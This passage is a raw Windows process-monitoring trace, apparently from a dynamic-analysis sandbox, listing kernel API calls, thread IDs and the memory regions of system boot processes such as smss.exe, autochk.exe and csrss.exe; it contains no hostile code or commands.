[0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.645] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.646] RtlSectionTableFromVirtualAddress () returned 0xfffff960000e9200 [0191.647] RtlLookupFunctionTable () returned 0xfffff960004b1000 [0191.647] RtlImageNtHeader (BaseAddress=0xfffff960000e9000) returned 0xfffff960000e90f8 [0191.647] MmDetachSession () returned 0x0 [0191.647] MmQuitNextSession () returned 0x0 [0191.647] KeSetCoalescableTimer (in: Timer=0xffffe000000c5206, DueTime=0xffffffffb7abcb03, Period=0x0, TolerableDelay=0x698, Dpc=0xffffe000000c5bbf | out: Timer=0xffffe000000c5206) returned 0 Thread: id = 939 os_tid = 0xbc0 Thread: id = 940 os_tid = 0xbc4 Thread: id = 962 os_tid = 0x874 Thread: id = 963 os_tid = 0x83c Thread: id = 964 os_tid = 0x120 Thread: id = 965 os_tid = 0x124 Thread: id = 966 os_tid = 0x4c4 Thread: id = 968 os_tid = 0x4c0 Thread: id = 969 os_tid = 0x878 Thread: id = 988 os_tid = 0x3cc Thread: id = 991 os_tid = 0x3b4 Thread: id = 992 os_tid = 0x740 Thread: id = 993 os_tid = 0x238 Thread: id = 994 os_tid = 0x664 Thread: id = 996 os_tid = 0x6d4 Thread: id = 997 os_tid = 0x6d0 Thread: id = 998 os_tid = 0x6ac Thread: id = 999 os_tid = 0x6c8 Thread: id = 1000 os_tid = 0x6e4 Thread: id = 1001 os_tid = 0x6cc Thread: id = 1003 os_tid = 0x478 Thread: id = 1004 os_tid = 0x7cc Thread: id = 1005 os_tid = 0x8dc Thread: id = 1006 os_tid = 0x8d8 Thread: id = 1007 os_tid = 0x8b4 Thread: id = 1008 os_tid = 0x858 Thread: id = 1011 os_tid = 0x508 Thread: id = 1012 os_tid = 0x454 Thread: id = 1013 os_tid = 0x450 Thread: id = 1015 os_tid = 0x504 Thread: id = 1016 os_tid = 0x474 Thread: id = 1017 os_tid = 0x78c Thread: id = 1018 os_tid = 0x3fc Thread: id = 1019 os_tid = 0x3f8 Thread: id = 1020 os_tid = 0x8e4 Thread: id = 1021 os_tid = 0x8e8 Thread: id = 1022 os_tid = 0x8e0 Thread: id = 1023 os_tid = 0x7e0 Thread: id = 1024 os_tid = 0x8fc Thread: id = 1025 os_tid = 0x900 [0314.087] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0xad0, Tag=0x63536c41) returned 0xffffe00000241010 [0314.089] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0x44f69, Tag=0x63536c41) returned 0xffffe0000024d000 [0314.093] KeSetCoalescableTimer (in: Timer=0xffffe000000c5206, DueTime=0xffffffffb55bd495, Period=0x0, TolerableDelay=0x22f7, Dpc=0xffffe000000c5bbf | out: Timer=0xffffe000000c5206) returned 0 Process: id = "31" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x71814000" os_pid = "0xec" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "30" os_parent_pid = "0x4" cmd_line = "\\SystemRoot\\System32\\smss.exe" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2645 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2646 start_va = 0xa5521e0000 end_va = 0xa5521fffff entry_point = 0x0 region_type = private name = "private_0x000000a5521e0000" filename = "" Region: id = 2647 start_va = 0xa552200000 end_va = 0xa55220efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a552200000" filename = "" Region: id = 2648 start_va = 0xa552210000 end_va = 0xa55228ffff entry_point = 0x0 region_type = private name = "private_0x000000a552210000" filename = "" Region: id = 2649 start_va = 0x7ff7c03f0000 end_va = 0x7ff7c0412fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7c03f0000" filename = "" Region: id = 2650 start_va = 0x7ff7c041d000 end_va = 0x7ff7c041efff entry_point = 0x0 region_type = private name = "private_0x00007ff7c041d000" filename = "" Region: id = 2651 start_va = 0x7ff7c041f000 end_va = 0x7ff7c041ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7c041f000" filename = "" Region: id = 2652 start_va = 0x7ff7c1330000 end_va = 0x7ff7c1354fff entry_point = 0x7ff7c1330000 region_type = mapped_file name = "smss.exe" filename = "\\Windows\\System32\\smss.exe" (normalized: "c:\\windows\\system32\\smss.exe") Region: id = 2653 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 170 os_tid = 0xf0 Thread: id = 175 os_tid = 0xf8 Thread: id = 187 os_tid = 0x138 Process: id = "32" image_name = "autochk.exe" filename = "c:\\windows\\system32\\autochk.exe" page_root = "0x79662000" os_pid = "0xfc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0xec" cmd_line = "\\??\\C:\\Windows\\system32\\autochk.exe *" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2669 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2670 start_va = 0xd637910000 end_va = 0xd63792ffff entry_point = 0x0 region_type = private name = "private_0x000000d637910000" filename = "" Region: id = 2671 start_va = 0xd637930000 end_va = 0xd63793efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d637930000" filename = "" Region: id = 2672 start_va = 0xd637940000 end_va = 0xd6379bffff entry_point = 0x0 region_type = private name = "private_0x000000d637940000" filename = "" Region: id = 2673 start_va = 0x7ff746940000 end_va = 0x7ff746962fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff746940000" filename = "" Region: id = 2674 start_va = 0x7ff74696d000 end_va = 0x7ff74696efff entry_point = 0x0 region_type = private name = "private_0x00007ff74696d000" filename = "" Region: id = 2675 start_va = 0x7ff74696f000 end_va = 0x7ff74696ffff entry_point = 0x0 region_type = private name = "private_0x00007ff74696f000" filename = "" Region: id = 2676 start_va = 0x7ff7470e0000 end_va = 0x7ff7471bdfff entry_point = 0x7ff7470e0000 region_type = mapped_file name = "autochk.exe" filename = "\\Windows\\System32\\autochk.exe" (normalized: "c:\\windows\\system32\\autochk.exe") Region: id = 2677 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 176 os_tid = 0x100 Process: id = "33" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x69c95000" os_pid = "0x130" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0xec" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000000 00000050 " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2694 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2695 start_va = 0x840d080000 end_va = 0x840d09ffff entry_point = 0x0 region_type = private name = "private_0x000000840d080000" filename = "" Region: id = 2696 start_va = 0x840d0a0000 end_va = 0x840d0aefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000840d0a0000" filename = "" Region: id = 2697 start_va = 0x840d0b0000 end_va = 0x840d12ffff entry_point = 0x0 region_type = private name = "private_0x000000840d0b0000" filename = "" Region: id = 2698 start_va = 0x7ff7c0cd0000 end_va = 0x7ff7c0cf2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7c0cd0000" filename = "" Region: id = 2699 start_va = 0x7ff7c0cfc000 end_va = 0x7ff7c0cfdfff entry_point = 0x0 region_type = private name = "private_0x00007ff7c0cfc000" filename = "" Region: id = 2700 start_va = 0x7ff7c0cfe000 end_va = 0x7ff7c0cfefff entry_point = 0x0 region_type = private name = "private_0x00007ff7c0cfe000" filename = "" Region: id = 2701 start_va = 0x7ff7c1330000 end_va = 0x7ff7c1354fff entry_point = 0x7ff7c1337898 region_type = mapped_file name = "smss.exe" filename = "\\Windows\\System32\\smss.exe" (normalized: "c:\\windows\\system32\\smss.exe") Region: id = 2702 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 188 os_tid = 0x134 Process: id = "34" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x6ddc8000" os_pid = "0x140" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "33" os_parent_pid = "0x130" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2704 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2705 start_va = 0x6793560000 end_va = 0x679357ffff entry_point = 0x0 region_type = private name = "private_0x0000006793560000" filename = "" Region: id = 2706 start_va = 0x6793580000 end_va = 0x679358efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006793580000" filename = "" Region: id = 2707 start_va = 0x6793590000 end_va = 0x67935cffff entry_point = 0x0 region_type = private name = "private_0x0000006793590000" filename = "" Region: id = 2708 start_va = 0x7ff6e6e90000 end_va = 0x7ff6e6eb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e6e90000" filename = "" Region: id = 2709 start_va = 0x7ff6e6ebd000 end_va = 0x7ff6e6ebefff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6ebd000" filename = "" Region: id = 2710 start_va = 0x7ff6e6ebf000 end_va = 0x7ff6e6ebffff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6ebf000" filename = "" Region: id = 2711 start_va = 0x7ff6e7a10000 end_va = 0x7ff6e7a16fff entry_point = 0x7ff6e7a10000 region_type = mapped_file name = "csrss.exe" filename = "\\Windows\\System32\\csrss.exe" (normalized: "c:\\windows\\system32\\csrss.exe") Region: id = 2712 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2713 start_va = 0x6793660000 end_va = 0x679375ffff entry_point = 0x0 region_type = private name = "private_0x0000006793660000" filename = "" Region: id = 2714 start_va = 0x7ffd1cd30000 end_va = 0x7ffd1cd45fff entry_point = 0x7ffd1cd30000 region_type = mapped_file name = "csrsrv.dll" filename = "\\Windows\\System32\\csrsrv.dll" (normalized: "c:\\windows\\system32\\csrsrv.dll") Region: id = 2715 start_va = 0x7ff6e6d90000 end_va = 0x7ff6e6e8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e6d90000" filename = "" Region: id = 2716 start_va = 0x7ffd1cd10000 end_va = 0x7ffd1cd22fff entry_point = 0x7ffd1cd10000 region_type = mapped_file name = "basesrv.dll" filename = "\\Windows\\System32\\basesrv.dll" (normalized: "c:\\windows\\system32\\basesrv.dll") Region: id = 2717 start_va = 0x7ffd1ccd0000 end_va = 0x7ffd1cd01fff entry_point = 0x7ffd1ccd0000 region_type = mapped_file name = "winsrv.dll" filename = "\\Windows\\System32\\winsrv.dll" (normalized: "c:\\windows\\system32\\winsrv.dll") Region: id = 2718 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2719 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d350000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2720 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f160000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2721 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f5f0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2725 start_va = 0x6793560000 end_va = 0x6793566fff entry_point = 0x0 region_type = private name = "private_0x0000006793560000" filename = "" Region: id = 2726 start_va = 0x6793570000 end_va = 0x6793572fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006793570000" filename = "" Region: id = 2727 start_va = 0x67935d0000 end_va = 0x679364dfff entry_point = 0x67935d0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2728 start_va = 0x6793650000 end_va = 0x6793650fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006793650000" filename = "" Region: id = 2729 start_va = 0x6793760000 end_va = 0x67938e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006793760000" filename = "" Region: id = 2730 start_va = 0x67938f0000 end_va = 0x6793ce9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067938f0000" filename = "" Region: id = 2731 start_va = 0x6793cf0000 end_va = 0x6793cf0fff entry_point = 0x0 region_type = private name = "private_0x0000006793cf0000" filename = "" Region: id = 2732 start_va = 0x6793d00000 end_va = 0x6793d01fff entry_point = 0x6793d00000 region_type = mapped_file name = "vgasys.fon" filename = "\\Windows\\Fonts\\vgasys.fon" (normalized: "c:\\windows\\fonts\\vgasys.fon") Region: id = 2733 start_va = 0x6793d10000 end_va = 0x6793d4ffff entry_point = 0x0 region_type = private name = "private_0x0000006793d10000" filename = "" Region: id = 2734 start_va = 0x6793d50000 end_va = 0x6793d8ffff entry_point = 0x0 region_type = private name = "private_0x0000006793d50000" filename = "" Region: id = 2735 start_va = 0x7ff6e6eb9000 end_va = 0x7ff6e6ebafff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6eb9000" filename = "" Region: id = 2736 start_va = 0x7ff6e6ebb000 end_va = 0x7ff6e6ebcfff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6ebb000" filename = "" Region: id = 2737 start_va = 0x7ffd1ccc0000 end_va = 0x7ffd1ccccfff entry_point = 0x7ffd1ccc0000 region_type = mapped_file name = "sxssrv.dll" filename = "\\Windows\\System32\\sxssrv.dll" (normalized: "c:\\windows\\system32\\sxssrv.dll") Region: id = 2888 start_va = 0x6793590000 end_va = 0x679359ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006793590000" filename = "" Region: id = 2889 start_va = 0x67935a0000 end_va = 0x67935a6fff entry_point = 0x67935a0000 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" (normalized: "c:\\windows\\fonts\\marlett.ttf") Region: id = 2890 start_va = 0x67935b0000 end_va = 0x67935c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067935b0000" filename = "" Region: id = 2891 start_va = 0x6793d90000 end_va = 0x6793dcffff entry_point = 0x0 region_type = private name = "private_0x0000006793d90000" filename = "" Region: id = 2892 start_va = 0x6793dd0000 end_va = 0x6793e0ffff entry_point = 0x0 region_type = private name = "private_0x0000006793dd0000" filename = "" Region: id = 2893 start_va = 0x6793e10000 end_va = 0x6793f97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006793e10000" filename = "" Region: id = 2894 start_va = 0x6793fa0000 end_va = 0x6793fa0fff entry_point = 0x0 region_type = private name = "private_0x0000006793fa0000" filename = "" Region: id = 2895 start_va = 0x6793fb0000 end_va = 0x6793feffff entry_point = 0x0 region_type = private name = "private_0x0000006793fb0000" filename = "" Region: id = 2896 start_va = 0x6793ff0000 end_va = 0x679402ffff entry_point = 0x0 region_type = private name = "private_0x0000006793ff0000" filename = "" Region: id = 2897 start_va = 0x6794030000 end_va = 0x679406ffff entry_point = 0x0 region_type = private name = "private_0x0000006794030000" filename = "" Region: id = 2898 start_va = 0x6794070000 end_va = 0x679413dfff entry_point = 0x6794070000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 2899 start_va = 0x6794140000 end_va = 0x679416ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006794140000" filename = "" Region: id = 2900 start_va = 0x6794170000 end_va = 0x679556ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006794170000" filename = "" Region: id = 2901 start_va = 0x7ff6e6d8e000 end_va = 0x7ff6e6d8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6d8e000" filename = "" Region: id = 2902 start_va = 0x7ff6e6eb3000 end_va = 0x7ff6e6eb4fff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6eb3000" filename = "" Region: id = 2903 start_va = 0x7ff6e6eb5000 end_va = 0x7ff6e6eb6fff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6eb5000" filename = "" Region: id = 2904 start_va = 0x7ff6e6eb7000 end_va = 0x7ff6e6eb8fff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6eb7000" filename = "" Region: id = 2905 start_va = 0x7ffd1cba0000 end_va = 0x7ffd1cc36fff entry_point = 0x7ffd1cba0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2906 start_va = 0x6795570000 end_va = 0x6795570fff entry_point = 0x0 region_type = private name = "private_0x0000006795570000" filename = "" Region: id = 2907 start_va = 0x6795580000 end_va = 0x6795580fff entry_point = 0x0 region_type = private name = "private_0x0000006795580000" filename = "" Region: id = 2908 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2909 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb70000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2910 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb10000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2920 start_va = 0x6795590000 end_va = 0x6795593fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795590000" filename = "" Region: id = 2922 start_va = 0x6795590000 end_va = 0x6795590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795590000" filename = "" Region: id = 3265 start_va = 0x6795590000 end_va = 0x679559ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795590000" filename = "" Region: id = 3266 start_va = 0x67955a0000 end_va = 0x67955affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067955a0000" filename = "" Region: id = 3267 start_va = 0x67955b0000 end_va = 0x67955effff entry_point = 0x0 region_type = private name = "private_0x00000067955b0000" filename = "" Region: id = 3268 start_va = 0x7ff6e6d8c000 end_va = 0x7ff6e6d8dfff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6d8c000" filename = "" Region: id = 3269 start_va = 0x67955f0000 end_va = 0x67955f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067955f0000" filename = "" Region: id = 3421 start_va = 0x67955f0000 end_va = 0x67955fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067955f0000" filename = "" Region: id = 3422 start_va = 0x6795600000 end_va = 0x679560ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795600000" filename = "" Region: id = 3423 start_va = 0x6795610000 end_va = 0x6795610fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795610000" filename = "" Region: id = 4402 start_va = 0x6795610000 end_va = 0x679561ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795610000" filename = "" Region: id = 4403 start_va = 0x6795620000 end_va = 0x679565ffff entry_point = 0x0 region_type = private name = "private_0x0000006795620000" filename = "" Region: id = 4404 start_va = 0x6795660000 end_va = 0x679571ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795660000" filename = "" Region: id = 4405 start_va = 0x6795720000 end_va = 0x679572ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795720000" filename = "" Region: id = 4406 start_va = 0x6795730000 end_va = 0x67957effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795730000" filename = "" Region: id = 4407 start_va = 0x67957f0000 end_va = 0x67957fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067957f0000" filename = "" Region: id = 4408 start_va = 0x6795800000 end_va = 0x679580ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795800000" filename = "" Region: id = 4409 start_va = 0x6795810000 end_va = 0x679581ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795810000" filename = "" Region: id = 4410 start_va = 0x6795820000 end_va = 0x67958dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795820000" filename = "" Region: id = 4411 start_va = 0x7ff6e6d8a000 end_va = 0x7ff6e6d8bfff entry_point = 0x0 region_type = private name = "private_0x00007ff6e6d8a000" filename = "" Region: id = 4412 start_va = 0x67958e0000 end_va = 0x67958e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067958e0000" filename = "" Region: id = 4646 start_va = 0x67958e0000 end_va = 0x67958effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067958e0000" filename = "" Region: id = 4647 start_va = 0x67958f0000 end_va = 0x67958f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067958f0000" filename = "" Region: id = 4755 start_va = 0x67958f0000 end_va = 0x67958fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067958f0000" filename = "" Region: id = 4756 start_va = 0x6795900000 end_va = 0x6795900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795900000" filename = "" Region: id = 5001 start_va = 0x6795900000 end_va = 0x679590ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795900000" filename = "" Region: id = 5002 start_va = 0x6795910000 end_va = 0x6795911fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795910000" filename = "" Region: id = 5714 start_va = 0x67958e0000 end_va = 0x67958e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067958e0000" filename = "" Region: id = 5796 start_va = 0x67958e0000 end_va = 0x67958e3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067958e0000" filename = "" Region: id = 5821 start_va = 0x67958e0000 end_va = 0x67958e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067958e0000" filename = "" Region: id = 6861 start_va = 0x67958e0000 end_va = 0x67958effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000067958e0000" filename = "" Region: id = 6862 start_va = 0x6795910000 end_va = 0x679591ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795910000" filename = "" Region: id = 6863 start_va = 0x6795920000 end_va = 0x679592ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795920000" filename = "" Region: id = 6864 start_va = 0x6795930000 end_va = 0x679593ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795930000" filename = "" Region: id = 6865 start_va = 0x6795940000 end_va = 0x6795941fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795940000" filename = "" Region: id = 7430 start_va = 0x6795940000 end_va = 0x6795942fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795940000" filename = "" Region: id = 7998 start_va = 0x6795920000 end_va = 0x6795920fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795920000" filename = "" Region: id = 10940 start_va = 0x6795920000 end_va = 0x679592ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795920000" filename = "" Region: id = 10941 start_va = 0x6795940000 end_va = 0x6795941fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006795940000" filename = "" Thread: id = 191 os_tid = 0x144 Thread: id = 202 os_tid = 0x16c Thread: id = 203 os_tid = 0x170 Thread: id = 204 os_tid = 0x174 Thread: id = 205 os_tid = 0x178 Thread: id = 215 os_tid = 0x1b0 Thread: id = 219 os_tid = 0x1c0 Thread: id = 220 os_tid = 0x1c4 Thread: id = 242 os_tid = 0x218 Thread: id = 300 os_tid = 0x30c Thread: id = 949 os_tid = 0xbe8 Process: id = "35" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x7249d000" os_pid = "0x17c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0xec" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000001 00000050 " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2738 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2739 start_va = 0xce561d0000 end_va = 0xce561effff entry_point = 0x0 region_type = private name = "private_0x000000ce561d0000" filename = "" Region: id = 2740 start_va = 0xce561f0000 end_va = 0xce561fefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ce561f0000" filename = "" Region: id = 2741 start_va = 0xce56200000 end_va = 0xce5627ffff entry_point = 0x0 region_type = private name = "private_0x000000ce56200000" filename = "" Region: id = 2742 start_va = 0x7ff7c0730000 end_va = 0x7ff7c0752fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7c0730000" filename = "" Region: id = 2743 start_va = 0x7ff7c075d000 end_va = 0x7ff7c075efff entry_point = 0x0 region_type = private name = "private_0x00007ff7c075d000" filename = "" Region: id = 2744 start_va = 0x7ff7c075f000 end_va = 0x7ff7c075ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7c075f000" filename = "" Region: id = 2745 start_va = 0x7ff7c1330000 end_va = 0x7ff7c1354fff entry_point = 0x7ff7c1337898 region_type = mapped_file name = "smss.exe" filename = 